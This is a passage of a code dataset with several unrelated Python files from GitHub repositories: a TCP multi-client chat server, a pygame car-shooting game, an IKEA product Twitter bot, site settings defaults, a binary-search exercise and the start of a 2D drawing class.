Mxy) / (det * 2)\r\n        y = (Myz * (Mxx - xnew) - Mxz * Mxy) / (det * 2)\r\n        centreRadius[0] = x + x_centroid\r\n        centreRadius[1] = y + y_centroid\r\n        centreRadius[3] = np.sqrt(centreRadius[0]**2 + centreRadius[1]**2)\r\n\r\n        return centreRadius","repo_name":"Salamandastron/Glider-Winds","sub_path":"Taubin-Newton.py","file_name":"Taubin-Newton.py","file_ext":"py","file_size_in_byte":2594,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"}
+{"seq_id":"70851892909","text":"'''\r\nDate: 2022.06.13\r\nTitle: \r\nBy: Kang Jin Seong\r\n'''\r\n# Threading 모듈을 이용한 TCP 멀티 채팅 서버 프로그램\r\n\r\nfrom http import client\r\nfrom socket import *\r\nfrom threading import *\r\n\r\nclass MultiChatServer:\r\n    #__init()에서 선언할 수 없는 변수는\r\n    # 모든 메소드에서 사용할 수 있도록 클래스 변수로 선언\r\n    clients = [] # 접속된 클라이언트 소켓 목록\r\n    final_received_message = \"\" # 최종 수신 메세지\r\n\r\n    # 소켓을 생성하고 연결되면 accpt_client() 호출\r\n    def __init__(self):\r\n        self.s_sock = socket(AF_INET, SOCK_STREAM)\r\n        self.ip = ''\r\n        self.port = 2500\r\n        self.s_sock.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)\r\n        self.s_sock.bind((self.ip, self.port))\r\n        print(\"클라이언트 대기중...\")\r\n        self.s_sock.listen(100)\r\n        self.accept_client()\r\n        \r\n    # 연결 클라이언트 소켓을 목록에 추가하고 스레드를 생성하여 데이터를 수신한다.\r\n    def accept_client(self):\r\n        while True:\r\n            client = c_socket, (ip, port) = self.s_sock.accept()\r\n            if client not in self.clients:\r\n                self.clients.append(client)\r\n            print(ip, ':', str(port), '가 연결되었습니다.')\r\n            cth = Thread(target = self.receive_messages, args = (c_socket,))    # 수신 스레드\r\n            cth.start() # 스레드 시작\r\n\r\n    # 데이터를 수신하여 모든 클라이언틍게 전송한다.\r\n    def receive_messages(self, c_socket):\r\n        while True:\r\n            try:\r\n                incoming_message = c_socket.recv(256)\r\n                if not incoming_message:    # 연결이 종료됨\r\n                    break\r\n            except:\r\n                continue\r\n            else:\r\n                self.final_received_message = incoming_message.decode('utf-8')\r\n                print(self.final_received_message)\r\n                self.send_all_clients(c_socket)\r\n        c_socket.close()\r\n    \r\n    # 송신 클라이언트를 제외한 모든 클라이언트에게 메시지 전송\r\n    def send_all_clients(self, senders_socket):\r\n        for client in self.clients:  #목록에 있는 모든 소켓에 대해\r\n            socket, (ip, port) = client\r\n            if socket is not senders_socket:    #송신 클라이언트 제외\r\n                try:\r\n                    socket.sendall(self.final_received_message.encode())\r\n                except: #연결 종료\r\n                    self.clients.remove(client)  #소켓 제거\r\n                    print(\"{},{} 연결이 종료되었습니다.\".format(ip, port))\r\n\r\n\r\nif __name__ == \"__main__\":\r\n    MultiChatServer()\r\n","repo_name":"KangJinSeong/Network-study","sub_path":"GUI.ChatServer_Multi.py","file_name":"GUI.ChatServer_Multi.py","file_ext":"py","file_size_in_byte":2702,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"16062025793","text":"import pygame\nimport os\nfrom time import sleep\nfrom random import randint\nfrom random import choice\nimport logging\n\nlogging.basicConfig(level=logging.DEBUG)\nlogger = logging.getLogger(__name__)\nlogger.setLevel(logging.DEBUG)\n\npygame.init()\n\nFPS = 60\nNUMBER_OF_ENEMIES = 5 \n\nWINDOW_WIDTH = 1280\nWINDOW_HEIGHT = 720\n\nimages = './images/' # where all images stored\nmusic = './music/'   # where all music and sounds stored\n\nwnd = pygame.display.set_mode((WINDOW_WIDTH, WINDOW_HEIGHT ))\n\nclock = pygame.time.Clock()\n\nmax_score = score = 0\n\n#defining colors for conveiniece\n\t\t# R    G    B\nwhite = (255, 255, 255)\nred   = (255, 0,   0)\ngreen = (0,   255, 0)\nblue  = (0,   0,   255)\nblack = (0,   0,   0)\ngrey  = (150, 150, 150)\n\n\ntext = pygame.font.Font('./fonts/Sen-Bold.ttf', 24)\n\n\n# Load a bus images \nbus_images = [ pygame.image.load(os.path.join(images, 'Hero/Bus/bus0' + str(x) + '.png')) for x in range(1, 5) ]\n\t \n# Load a car images\ncar_images = [ pygame.image.load(os.path.join(images, 'Hero/Car/car0' + str(x) + '.png'))  for x in range(1, 5)]\n\n# list of enemy images loading with usage of list copmprehensions\n# os.path.join is used for joining string './images/' with other strings like 'Enemies/dyno/walking'\n# we will get something like './images/Enemies/dyno/walking/' and plus imagename that can vary\n# In the end we get './images/Enemies/dyno/walking/skeleton-walking_<number>.png'\nenemy_images = [ pygame.image.load(os.path.join(images, 'Enemies/dyno/walking','skeleton-walking_' + str(x) + '.png')) for x in range(21)]\n\nmenu_image = pygame.image.load(os.path.join(images, 'menu/menu.jpg'))\ncracks     = pygame.image.load(\"./images/cracks.png\")\n\ndef display_score():\n\tscore_text_surface = text.render(\"Score: \" + str(score), True, black)\n\tscore_text_rect    = score_text_surface.get_rect()\n\tscore_text_rect.right = WINDOW_WIDTH - 10\n\tscore_text_rect.top   = 10\n\twnd.blit(score_text_surface, score_text_rect)\n\ndef display_max_score():\n\tscore_text_surface = text.render(\"Max Score: \" + str(max_score), True, black)\n\tscore_text_rect    = score_text_surface.get_rect()\n\tscore_text_rect.right = WINDOW_WIDTH - 10\n\tscore_text_rect.top   = 30\n\twnd.blit(score_text_surface, score_text_rect)\n\ndef display_defeated_enemies():\n\tde_text_surface = text.render(\"Defeated enemies: \" + str(Hero.defeated_enemies), True, black)\n\tde_text_rect    = de_text_surface.get_rect()\n\tde_text_rect.right = WINDOW_WIDTH - 10\n\tde_text_rect.top   = 50\n\twnd.blit(de_text_surface, de_text_rect)\n\n\ndef get_size(image, width):\n\timage_size = image.get_rect().size # get something like this: (400,200)\n\treturn (width, int(image_size[1] * width / image_size[0]))\n\ndef resize_image(image, width):\n\timage_size = get_size(image, width)\n\treturn pygame.transform.scale(image, image_size)\n\n\n\ndef check_collision(hero, enemy):\n\tenemy_rect = enemy.rect\n\thero_rect  = hero.rect\n\n\tif hero_rect.colliderect(enemy_rect) == 1:\n\t\treturn True\n\n\treturn False\n\t\t\n\ndef check_bullet_collision(bullet, enemy):\n\tif enemy.rect.collidepoint(bullet.x, bullet.y):\n\t\treturn True\n\treturn False\n\t\t\n\n\ndef check_enemy_collision(enemies):\n\tfor i in range(len(enemies)):\n\t\tfor j in range(i + 1, len(enemies)):\n\t\t\twhile enemies[i].rect.colliderect(enemies[j].rect) == 1:\n\t\t\t\tenemies[i].restore_position()\n\n\ndef game_reset(hero):\n\tglobal score, max_score\n\tif score > max_score:\n\t\tmax_score = score\n\tscore = 0\n\thero.crash()\n  \n\t\t\t\t\n\n# enemy_images = list(map(resize_image, enemy_images, [ 200 for x in range(len(enemy_images)) ]))\n\nmenu_image = resize_image(menu_image, WINDOW_WIDTH)\n\n\nclass Bullet():\n\tspeed = 40\n\tflying_bullets = []\n\tdef __init__(self, car):\n\t\tself.x = car.x + car.images[0].get_rect().width\n\t\tself.y = car.y + int(car.images[0].get_rect().height / 2)\n\n\tdef move(self):\t\n\t\tself.x += Bullet.speed\n\n\tdef draw(self):\n\t\t# wnd.blit(self.image, (self.x, self.y))\n\t\tpygame.draw.circle(wnd, black, (self.x, self.y), 5)\n\n\tdef is_out_of_screen(self):\n\t\tif self.x > WINDOW_WIDTH:\n\t\t\treturn True\n\t\treturn False\n\n\t@staticmethod\n\tdef draw_all_bullets():\n\t\tfor i, bullet in enumerate(Bullet.flying_bullets):\n\t\t\tbullet.move()\n\t\t\tbullet.draw()\n\t\t\tif bullet.is_out_of_screen():\n\t\t\t\tBullet.flying_bullets.pop(i)\n\t\t\t\tdel bullet\n\t\t\t\n\t\t\tfor i, bullet in enumerate(Bullet.flying_bullets):\n\t\t\t\tfor j, enemy in enumerate(Enemy.enemies):\n\t\t\t\t\tif check_bullet_collision(bullet, enemy):\n\t\t\t\t\t\tBullet.flying_bullets.pop(i)\n\t\t\t\t\t\tdel bullet\n\t\t\t\t\t\tenemy.minus_health()\n\t\t\t\t\t\tif not enemy.is_alive():\n\t\t\t\t\t\t\tenemy.restore_position()\n\t\t\t\t\t\t\tHero.defeated_enemies += 1\n\t\t\t\t\t\t\tprint(Hero.defeated_enemies)\n\t\t\t\t\t\tbreak\n\n\n\nclass Background():\n\tdef __init__(self):\n\t\tself.line_interval  = 150\n\t\tself.line_width     = 300\n\t\tself.line_height    = 50\n\t\tself.lines = [ pygame.Rect(0, int(WINDOW_HEIGHT / 2) - int(self.line_height / 2), self.line_width, self.line_height)]\n\n\tdef draw_back(self):\n\t\twnd.fill(grey)\n\n\tdef draw_lines(self):\n\t\tfor rectangle in self.lines:\n\t\t\tpygame.draw.rect(wnd, white, rectangle)\n\n\tdef draw(self):\n\t\tself.move_lines()\n\t\tself.draw_back()\n\t\tself.draw_lines()\n\n\tdef append_line(self):\n\t\twhile self.lines[-1].x < WINDOW_WIDTH:\n\t\t\tself.lines.append(\n\t\t\t\tpygame.Rect(self.lines[-1].x + self.line_width + self.line_interval,\n\t\t\t\tint(WINDOW_HEIGHT / 2) - int(self.line_height / 2),\n\t\t\t\tself.line_width, self.line_height))\n\n\tdef pop_line(self):\n\t\tif self.lines[0].x + self.line_width < 0:\n\t\t\tself.lines.pop(0)\n\n\tdef move_lines(self):\n\t\tself.append_line()\n\t\tself.pop_line()\n\n\t\tfor i in range(len(self.lines)):\n\t\t\tself.lines[i] = self.lines[i].move(-5, 0)\n\nclass Sound():\n\tdef __init__(self):\n\t\tself.background_music_standard = './music/bgmusic.mp3'\n\t\tself.background_music_corona   = './music/corona.mp3'\n\n\t\tself.boom = pygame.mixer.Sound('./music/boom.wav')\n\t\tself.boom.set_volume(0.25)\n\t\t\n\n\tdef play_standard(self):\n\t\tpygame.mixer.music.load(self.background_music_standard)\n\t\tpygame.mixer.music.set_volume(0.1)\n\t\tpygame.mixer.music.play()\n\n\tdef play_corona(self):\n\t\tpygame.mixer.music.load(self.background_music_corona)\n\t\tpygame.mixer.music.set_volume(0.1)\n\t\tpygame.mixer.music.play()\n\n\tdef crash(self):\n\t\tself.boom.play()\n\nclass Base():\n\tdef __init__(self, x, y, images):\n\t\tself.health = 100\n\t\tself.image_width = 200\n\t\tself.x = x\n\t\tself.y = y\n\t\tself.images = images\n\t\tself.resize_images()\n\t\tself.rect = self.images[0].get_rect()\n\t\tlogger.debug(f\"self.rect={self.rect}\")\n\n\tdef resize_images(self):\n\t\tlogger.debug(f\"self.images={self.images[:4]}\")\n\t\tself.images = list(map(resize_image, # Function that takes two arguments\n\t\t\t\t\t  self.images,   # First argument will be from this list\n\t\t\t\t\t  [ self.image_width for i in range(len(self.images)) ] ))\t# Generate list that will be the second \n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t  \t\t# argument is taken from this list\n\t\tlogger.debug(f\"self.images={self.images[:4]}\")\n\n\tdef draw(self, frame):\n\t\twnd.blit(self.images[frame], (self.x, self.y))\t\n\n\t\t# uncomment to debug zone of touch\n\t\t# pygame.draw.rect(wnd, green, self.rect)\n\n\tdef is_alive(self):\n\t\tif self.health > 0:\n\t\t\treturn True\n\t\treturn False\n\nclass Hero(Base):\n\tdefeated_enemies = 0\n\tdef __init__(self, type_of_vehicle: str='bus'):\n\t\tif type_of_vehicle == 'car':\n\t\t\timages = car_images\n\t\telif type_of_vehicle == 'bus':\n\t\t\timages = bus_images\n\t\telse:\n\t\t\timages = car_images\n\t\tsuper().__init__(50, int(WINDOW_HEIGHT / 2), images) # x, y, hero_images\n\t\tself.rect.size = (self.rect.size[0] - 40, self.rect.size[1] - 20) \n\t\ts = self.images[0].get_rect().size\n\t\tself.rect.center = (self.x + int(s[0]/2), self.y + int(s[1]/2))\n\t\tself.shoot_interal = 400\n\t\tself.next_shoot = 0\n\n\tdef is_out_of_screen(self):\n\t\tsize = self.images[0].get_rect().size\n\t\t# x\n\t\tif self.x < 0 - int(size[0] / 2) or self.x > WINDOW_WIDTH - int(size[0] / 2):\n\t\t\treturn True\n\t\t# y\n\t\tif self.y < 0 - int(size[1] / 2) or self.y > WINDOW_HEIGHT - int(size[1] / 2):\n\t\t\treturn True\n\n\t\treturn False\n\n\tdef move(self, x, y):\n\t\tself.x += x\n\t\tself.y += y\n\t\ts = self.images[0].get_rect().size\n\t\tself.rect.center = (self.x + int(s[0]/2), self.y + int(s[1]/2))\n\n\tdef restore_position(self):\n\t\tself.x = 50\n\t\tself.y = int(WINDOW_HEIGHT / 2)\n\n\tdef crash(self):\n\t\tself.restore_position()\n\n\tdef shoot(self):\n\t\tif self.next_shoot < pygame.time.get_ticks():\n\t\t\tBullet.flying_bullets.append(Bullet(self))\n\t\t\tself.next_shoot = self.shoot_interal + pygame.time.get_ticks()\n\n\nclass Enemy(Base):\n\tenemies = []\n\tspeed = -10\n\tdef __init__(self):\n\t\tsuper().__init__(\n\t\t\tint(WINDOW_WIDTH * 1.1),    # x\n\t\t\tint(WINDOW_HEIGHT / 2),     # y\n\t\t\tenemy_images)  \t\t\t\t# enemy_images\n\t\tself.rect.size = (self.rect.size[0] - 50, self.rect.size[1] - 45) \n\t\ts = self.images[0].get_rect().size\n\t\tself.rect.center = (self.x + int(s[0]/2), self.y + int(s[1]/2))\n\n\n\tdef move(self, x=speed, y=0):\n\t\tself.x += x\n\t\tself.y += y\n\t\ts = self.images[0].get_rect().size\n\t\tself.rect.center = (self.x + int(s[0]/2), self.y + int(s[1]/2) - 10)\n\n\n\tdef restore_position(self):\n\t\tself.health = 100\n\t\tself.x = WINDOW_WIDTH + randint(200, 600)\n\t\tprint(f\"{WINDOW_HEIGHT} - {self.rect.size[1]}\")\n\t\tself.y = randint(0, WINDOW_HEIGHT - self.rect.size[1])\n\t\ts = self.images[0].get_rect().size\n\t\tself.rect.center = (self.x + int(s[0]/2), self.y + int(s[1]/2))\n\n\tdef minus_health(self):\n\t\tself.health -= 50\n\n\tdef draw(self, frame):\n\t\tif self.x + self.image_width < 0:\n\t\t\tself.restore_position()\n\t\tsuper().draw(frame)\n\n\t@staticmethod\n\tdef draw_all_enemies(frame):\n\t\tfor i, enemy in enumerate(Enemy.enemies):\n\t\t\tenemy.move()\n\t\t\tenemy.draw(frame)\n\n\t@staticmethod\n\tdef restore_all_enemies_position():\n\t\tfor enemy in Enemy.enemies:\n\t\t\tenemy.restore_position()\n\n\nsounds = Sound()\nbg = Background()\n\ndef game_menu():\n\n\ttext_size = 100\n\ttext_resize_speed = 1\n\n\tintro = True\n\twhile intro:\n\t\tfor event in pygame.event.get():\n\t\t\tif event.type == pygame.QUIT:\n\t\t\t\texit()\n\t\t\n\t\tif event.type == pygame.KEYDOWN:\n\t\t\tif event.key == pygame.K_RETURN:\n\t\t\t\tintro = False\n\n\n\t\ttextMenu        = pygame.font.Font('./fonts/Sen-Bold.ttf', 140)\n\t\ttextMenuSurface = textMenu.render(\"Main Menu\", True, black)\n\t\ttextMenuRect    = textMenuSurface.get_rect()\n\t\ttextMenuRect.center = (int(WINDOW_WIDTH/2), int(WINDOW_HEIGHT/6))\n\n\n\t\ttextEnter        = pygame.font.Font('./fonts/Sen-Bold.ttf', text_size) # Get Font\n\t\ttextEnterSurface = textEnter.render(\"Press Enter\", True, black) # Get Rendered text\n\t\ttextEnterRect    = textEnterSurface.get_rect()\n\t\ttextEnterRect.center = (int(WINDOW_WIDTH/2), int(WINDOW_HEIGHT/1.5)) # Set positions \n\n\n\t\twnd.blit(menu_image, (0,0))\n\t\twnd.blit(textMenuSurface, textMenuRect)\n\t\twnd.blit(textEnterSurface, textEnterRect)\n\n\t\ttext_size += text_resize_speed\n\n\t\tif text_size > 110:\n\t\t\ttext_resize_speed *= -1\n\t\telif text_size < 100:\n\t\t\ttext_resize_speed *= -1\n\n\t\tpygame.display.update()\n\n\t\tclock.tick(60)\n\t\t\ndef game_pause():\n\tpause = True\n\twhile pause:\n\t\tfor event in pygame.event.get():\n\t\t\tif event.type == pygame.QUIT:\n\t\t\t\texit()\n\n\t\t\tif event.type == pygame.KEYDOWN:\n\t\t\t\tif event.key == pygame.K_ESCAPE:\n\t\t\t\t\tpause = False\n\n\t\ttextMenu        = pygame.font.Font('./fonts/Sen-Bold.ttf', 140)\n\t\ttextMenuSurface = textMenu.render(\"Pause\", True, black)\n\t\ttextMenuRect    = textMenuSurface.get_rect()\n\t\ttextMenuRect.center = (int(WINDOW_WIDTH/2), int(WINDOW_HEIGHT/4))\n\n\t\twnd.blit(textMenuSurface, textMenuRect)\n\t\tpygame.display.update()\n\ndef game_loop():\n\n\tcar = Hero('car')\n\tEnemy.enemies = [ Enemy() for _ in range(NUMBER_OF_ENEMIES)]\n\n\tx = WINDOW_WIDTH / 2\n\ty = WINDOW_HEIGHT / 2\n\n\tvel = 9\n\tvel_x = 0\n\tvel_y = 0\n\tcar_next_tick = pygame.time.get_ticks()\n\tenemy_next_tick = pygame.time.get_ticks()\n\tcar_frame = 0\n\tenemy_frame = 0\n\tnext_enemy_addition_score = 0\n\n\tglobal score, max_score\n\n\tbg.draw()\n\tcar.draw(car_frame)\n\tEnemy.draw_all_enemies(enemy_frame)\n\tpygame.display.update()\n\n\t\n\n\tsleep(0.5)\n\twhile True:\n \t\n\t\tclock.tick(FPS)\n\t\t\n\t\tfor event in pygame.event.get():\n\n\t\t\tif event.type == pygame.QUIT:\n\t\t\t\texit()\n\n\t\t\telif event.type == pygame.KEYUP and (not vel_x == 0 or not vel_y == 0):\n\t\t\t\tif event.key == pygame.K_d:\n\t\t\t\t\tvel_x += -vel\n\t\t\t\telif event.key == pygame.K_a:\n\t\t\t\t\tvel_x -= -vel\n\t\t\t\telif event.key == pygame.K_w:\n\t\t\t\t\tvel_y -= -vel\n\t\t\t\telif event.key == pygame.K_s:\n\t\t\t\t\tvel_y += -vel\n\n\t\t\telif event.type == pygame.KEYDOWN:\n\t\t\t\tprint(event)\n\t\t\t\tif event.key == pygame.K_ESCAPE:\n\t\t\t\t\tgame_pause()\n\t\t\t\t\tvel_y = vel_x = 0\n\t\t\t\t\tenemy_next_tick = car_next_tick = pygame.time.get_ticks()\n\n\t\t\t\telif event.key == pygame.K_d:\n\t\t\t\t\tvel_x += vel\n\t\t\t\telif event.key == pygame.K_a:\n\t\t\t\t\tvel_x -= vel\n\t\t\t\telif event.key == pygame.K_w:\n\t\t\t\t\tvel_y -= vel\n\t\t\t\telif event.key == pygame.K_s:\n\t\t\t\t\tvel_y += vel\n\t\t\t\t\n\t\t\t\tif event.key == pygame.K_SPACE:\n\t\t\t\t\tprint(event)\n\t\t\t\t\tcar.shoot()\n\n\t\t\t\t#music section\n\t\t\t\telif event.key == pygame.K_p:\n\t\t\t\t\tsounds.play_corona()\n\t\t\t\telif event.key == pygame.K_o:\n\t\t\t\t\tsounds.play_standard()\n\t\t\t\n\n\t\tif car.is_out_of_screen():\n\t\t\tscore = 0\n\t\t\tsounds.crash()\n\t\t\tcar.crash()\n\t\t\tEnemy.restore_all_enemies_position()\n\t\t\tHero.defeated_enemies = 0\n\t\t\tcar_next_tick = pygame.time.get_ticks()\n\t\t\tenemy_next_tick = pygame.time.get_ticks()\n\n\n\t\t# Car Animation\n\t\tif pygame.time.get_ticks() > car_next_tick:\n\t\t\tif vel_x > 0:\n\t\t\t\tcar_next_tick += 80\n\t\t\telif vel_x < 0:\n\t\t\t\tcar_next_tick += 120\n\t\t\telse:\n\t\t\t\tcar_next_tick += 100\n\n\t\t\tcar_frame = (car_frame + 1) % 4\n\n\t\t#Enemy Animation\n\t\tif pygame.time.get_ticks() > enemy_next_tick:\n\t\t\tenemy_next_tick += 25\n\t\t\tenemy_frame = (enemy_frame + 1) % 21\n\n\t\t# Add the number of enemies as the score grows \n\t\tif score > next_enemy_addition_score:\n\t\t\tEnemy.enemies.append(Enemy())\n\t\t\tnext_enemy_addition_score += 600\n\n\n\t\tbg.draw()\n\n\t\tBullet.draw_all_bullets()\n\n\t\tcar.move(vel_x, vel_y)\n\t\tcar.draw(car_frame)\n\t\tEnemy.draw_all_enemies(enemy_frame)\n\n\t\tcheck_enemy_collision(Enemy.enemies)\n\n\t\t# Score\n\t\tscore += 1\n\t\tif score > max_score:\n\t\t\tmax_score = score\n\n\t\tdisplay_score()\n\t\tdisplay_max_score()\n\t\tdisplay_defeated_enemies()\n\n\t\tpygame.display.update()\n\n\t\tfor i in range(len(Enemy.enemies)):\n\t\t\tif check_collision(car, Enemy.enemies[i]):\n\t\t\t\tsounds.crash()\n\t\t\t\tsleep(1)\n\t\t\t\tEnemy.enemies = [ Enemy() for _ in range(NUMBER_OF_ENEMIES) ]\n\t\t\t\tgame_reset(car)\n\t\t\t\tHero.defeated_enemies = 0\n\t\t\t\tnext_enemy_addition_score = 500\n\t\t\t\tbreak\n\n\n\n\n# game_menu()\ngame_loop()","repo_name":"EskiSlav/CarGame","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":14034,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"70507650029","text":"import json\nimport random\n\nfrom urllib.error import HTTPError\nfrom urllib.request import urlretrieve\nimport urllib.request\nimport tweepy\n\nheaders = {\n    'Access-Control-Allow-Origin': '*',\n    'Access-Control-Allow-Methods': 'GET',\n    'Access-Control-Allow-Headers': 'Content-Type',\n    'Access-Control-Max-Age': '3600',\n    'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0'\n    }\n\n\n#keys go here\nconsumer_key = ''\nconsumer_secret = ''\naccess_token = ''\naccess_token_secret = ''\n\nauth = tweepy.OAuthHandler(consumer_key, consumer_secret)\nauth.set_access_token(access_token, access_token_secret)\napi = tweepy.API(auth)\n\ndef finalScript():\n    linksFile = open('/home/franky/links.txt', 'r')\n    suffixFile = open('/home/franky/suffixfile.txt','r')\n    numFile = open('/home/franky/prodnum.txt','r')\n\n    links = linksFile.readlines()\n    suffixes = suffixFile.readlines()\n    numrange = numFile.readlines()\n\n\n    randnum = random.randint(0,165)\n    selectedLink = links[randnum]\n    tempcategory = suffixes[randnum]\n    category = tempcategory.strip('\\n')\n\n    maxprodnum = int(numrange[randnum])\n    productnumber = random.randint(0,maxprodnum)\n\n    print(selectedLink)\n    print(category)\n    print(maxprodnum)\n    print(productnumber)\n\n    newlink = \"https://sik.search.blue.cdtapps.com/us/en/product-list-page/more-products?sessionId=23796da1-2e66-4be2-9052-5ab044285263&category=\" + category + \"&sort=RELEVANCE&start=\" + str(productnumber -1) + \"&end=\" + str(productnumber) + \"&c=lf&v=20200709\"\n\n    print(newlink)\n\n    with urllib.request.urlopen(newlink) as url:\n        data = json.loads(url.read().decode())\n        print(json.dumps(data, indent=4, sort_keys=True))\n\n    print(json.dumps(data[\"moreProducts\"][\"productWindow\"][0][\"name\"], indent=4, sort_keys=True))\n\n    text = str(data[\"moreProducts\"][\"productWindow\"][0][\"name\"])\n    tempfilepath = str(data[\"moreProducts\"][\"productWindow\"][0][\"mainImageUrl\"])\n\n    itemdescription = str(data[\"moreProducts\"][\"productWindow\"][0][\"typeName\"])\n    numprice = data[\"moreProducts\"][\"productWindow\"][0][\"priceNumeral\"]\n    price = '{0:.2f}'.format(numprice)\n    producturl = str(data[\"moreProducts\"][\"productWindow\"][0][\"pipUrl\"])\n    \n    \n    #tweet\n    newtext = text+\"\\n\\n\"+itemdescription+\". $\"+price\n    photofile = downloadImage(tempfilepath)\n\n    media_ids = []\n\n    res = api.media_upload(photofile)\n    media_ids.append(res.media_id)\n\n    api.update_status(newtext, media_ids=media_ids)\n\n\n    linksFile.close()\n    suffixFile.close()\n    numFile.close()\n\ndef downloadImage(url):\n    print(url)\n\n    filepath = \"/home/franky/developer/ikeapic.JPG\"\n    print(filepath)\n\n    try:\n        urlretrieve(url, filepath)\n        print(\"success\")\n        return filepath\n\n    except FileNotFoundError as err:\n        print(\"path error\")   # something wrong with local path\n    except HTTPError as err:\n        print(\"url error\")  # something wrong with url\n\n\nif __name__ == '__main__':\n    finalScript()\n\n","repo_name":"frankycmpz/ikea_bot","sub_path":"ikeabot.py","file_name":"ikeabot.py","file_ext":"py","file_size_in_byte":3004,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"2548646862","text":"# base settings\nBASE_URL = '//vgmdb.info/'\nAUTO_RELOAD = False\nMEMCACHE_SERVERS = ['127.0.0.1:11211']\nMEMCACHE_ARGS = {}\nCELERY_BROKER = 'amqp://guest@127.0.0.1//'\nCELERY_RESULT_BACKEND = 'cache'\nCELERY_CACHE_BACKEND = 'memcached://127.0.0.1:11211/'\nCELERY_PING = True\nDATA_BACKGROUND = False\n\n# seller backend settings\nAMAZON_ACCESS_KEY_ID = None\nAMAZON_SECRET_ACCESS_KEY = None\nAMAZON_ASSOCIATE_TAG = None\nITUNES_AFFILIATE_ID = None\nITUNES_TD_PROGRAM_ID = None\nITUNES_TD_WEBSITE_ID = None\nDISCOGS_KEY = None\nDISCOGS_SECRET = None\nRDIO_KEY = None\nRDIO_SECRET = None\nSPOTIFY_ID = None\nSPOTIFY_SECRET = None\n\nimport logging\nlogger = logging.getLogger(__name__)\ntry:\n\tfrom .autoload_settings import *\nexcept Exception as e:\n\tlogging.warning(\"Could not load autoload_settings: %s\" % (e,))\ntry:\n\tfrom .local_settings import *\nexcept Exception as e:\n\tlogging.warning(\"Could not load local_settings: %s\" % (e,))\n","repo_name":"hufman/vgmdb","sub_path":"vgmdb/settings.py","file_name":"settings.py","file_ext":"py","file_size_in_byte":906,"program_lang":"python","lang":"en","doc_type":"code","stars":93,"dataset":"github-code","pt":"37"}
+{"seq_id":"30149249131","text":"N,M = map(int,input().split())\narr = list(map(int,input().split()))\narr.sort\n\nstart = 0\nend = max(arr)\n\n\n# while start < end:\n#     tempSum = 0\n#     mid = (start+end)//2\n#     for i in arr:\n#         if i > mid:\n#             tempSum += i-mid\n    \n#     if tempSum < M:\n#         end = mid -1\n#     else:\n#         result = mid\n#         start = mid + 1\nresult = 0\n\ndef binary(arr, M, start , end, result):\n    target = 0\n    mid = (start+end)//2\n    print(start, end)\n    if start >= end:\n        return result\n\n    for i in arr:\n        if i > mid:\n            target += i - mid\n    if target < M:\n        return binary(arr, M, start, mid-1, result)\n    else :\n        result = mid\n        return binary(arr,M, mid+1, end, result)\n\nprint(binary(arr,M,start,end, 0))","repo_name":"Imseungbae/algorithm","sub_path":"떡볶이 떡 만들기.py","file_name":"떡볶이 떡 만들기.py","file_ext":"py","file_size_in_byte":768,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"17729774680","text":"# 2021-03-11 ph Created\n# 2021-03-12 ph first working solution with points, lines, polygons including anti-alias and poly_fill\n# 2021-03-13 ph again using arrays instead of bytearray\n# 2021-03-13 ph polygon_fill is now roughly 4 times faster. Forgot to min/max x/y\n# 2021-03-13 ph clear() now using the way faster list comprehensions instead of this odd appending and for loops (the for's took 0.5s to zero the whole zBuf/data arrays)\n# 2021-03-14 ph Vector Algebra is moved to VectorMath.py\n# 2021-03-15 ph Performance Boost with new array method!\n# 2021-03-27 ph alpha not part of color fix\n# 2021-03-27 ph polygon stroke optional\n# 2021-03-28 ph polygon wide out of range fix\n# 2021-04-01 ph points(), the fast horizontal fill method for point(). polygons faster\n\n\"\"\"\n    class Singulersum.Draw2D()\n\n    2021-03-11 ph Created by Philipp Hasenfratz\n\n    Draw2D is a 2 dimensional painting class that is used in Singulersum to draw the 2D image. It features points, lines, polynom(-fill) with optional z-Buffering, color and alpha-channel (for instance planes may be half transparent and not changing the z-Index).\n\n    To get something totally in front, use zIndex=0.0 (distance viewer->object = 0.0)\n\n    Currently Alpha is not yet implemented...\n\n    draw2d = Draw2D(width=1024, height=768)\n    draw2d.point(5, 5, color=\"white\")\n    poly = (\n        (10,10),\n        (20,10),\n        (20,20),\n        (10,20)\n    )\n    draw2d.polygon_fill(*poly, fill=\"#0000ff\", stroke=\"#ff0000\", zIndex=5.0)\n\n    img = draw2d.image()    # RGBA bytes() image, each color is 8-bit encoded.\n\"\"\"\n\n# TODO: alpha disabling zIndex (objects behind alpha polygon can be seen). This introduces\n#       a problem: the calculated color depends on what was drawn in sequence... Further\n#       more polygons often share edges and thus are drawn twice (or more). This is why\n#       for a transparent object \"grid lines\" are becoming visible (it takes the color)\n#       of the last point drawn which was already to a degree transparent and recombines\n#       the colors.\n# TODO: zIndex for line is kind of undefined and for polygons would need to be calculated\n#       for each pixel! Currently only a fixed calculated average zIndex per polygon.\n#       This is why a cube sometimes has z-fighting\n# TODO: line thickness is crappy implemented and does currently not work.\n\nimport math\nimport struct\nimport array\nimport sys      # float.max\n\n#from multiprocessing import Queue, Process\nfrom queue import Empty\n\nfrom Singulersum.Debug import Debug\nfrom Singulersum.VectorMath import VectorMath\n\nclass Draw2D(Debug):\n\n    maxFloat  = sys.float_info.max\n\n    def __init__(self, width=1024, height=768):\n        super().__init__()\n        self.width  = width\n        self.height = height\n        self.data   = []\n        self.zBuf   = []\n        #self.poly_threads = 32      # None if no multithreading shall be used\n        self.poly_end = False\n        #self.poly_worker = []\n        #self.poly_queue = []\n        self.dataInit()\n\n    def dataInit(self):\n        # https://www.geeksforgeeks.org/python-which-is-faster-to-initialize-lists/\n        # using * operator might even be faster (use for)\n        self.debug(\"init data and zBuffer\")\n        timeit=self.timeit()\n        self.data = [ [] for y in range(self.height) ]\n        self.zBuf = [ [] for y in range(self.height) ]\n        self.data0= array.array(\"B\", [0 for t in range(self.width*4) ] )\n        self.zBuf0= array.array(\"f\", 